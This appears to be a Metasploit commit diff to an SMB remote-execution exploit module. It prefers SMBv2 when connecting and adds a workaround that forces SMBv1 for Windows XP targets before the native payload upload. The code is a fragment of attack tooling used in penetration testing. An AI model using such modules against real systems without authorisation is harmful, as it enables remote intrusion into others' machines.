Land #10242, avoid using SMBv2 on Windows XP Native Upload targets
parent
c5dce5edd7
commit
7f3dfccbfe
|
@ -86,12 +86,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def native_upload_with_workaround
|
||||||
|
# Avoid implementing NTLMSSP on Windows XP
|
||||||
|
# http://seclists.org/metasploit/2009/q1/6
|
||||||
|
if smb_peer_os == "Windows 5.1"
|
||||||
|
connect(versions: [1])
|
||||||
|
smb_login
|
||||||
|
end
|
||||||
|
native_upload(datastore['SHARE'])
|
||||||
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("Connecting to the server...")
|
print_status("Connecting to the server...")
|
||||||
connect(versions: [1,2])
|
connect(versions: [2,1])
|
||||||
|
|
||||||
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||||
smb_login()
|
smb_login
|
||||||
|
|
||||||
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
|
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
|
||||||
print_line(" ")
|
print_line(" ")
|
||||||
|
@ -117,12 +127,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
execute_powershell_payload
|
execute_powershell_payload
|
||||||
else
|
else
|
||||||
print_status('Selecting native target')
|
print_status('Selecting native target')
|
||||||
native_upload(datastore['SHARE'])
|
native_upload_with_workaround
|
||||||
end
|
end
|
||||||
when 'PowerShell'
|
when 'PowerShell'
|
||||||
execute_powershell_payload
|
execute_powershell_payload
|
||||||
when 'Native upload'
|
when 'Native upload'
|
||||||
native_upload(datastore['SHARE'])
|
native_upload_with_workaround
|
||||||
when 'MOF upload'
|
when 'MOF upload'
|
||||||
mof_upload(datastore['SHARE'])
|
mof_upload(datastore['SHARE'])
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue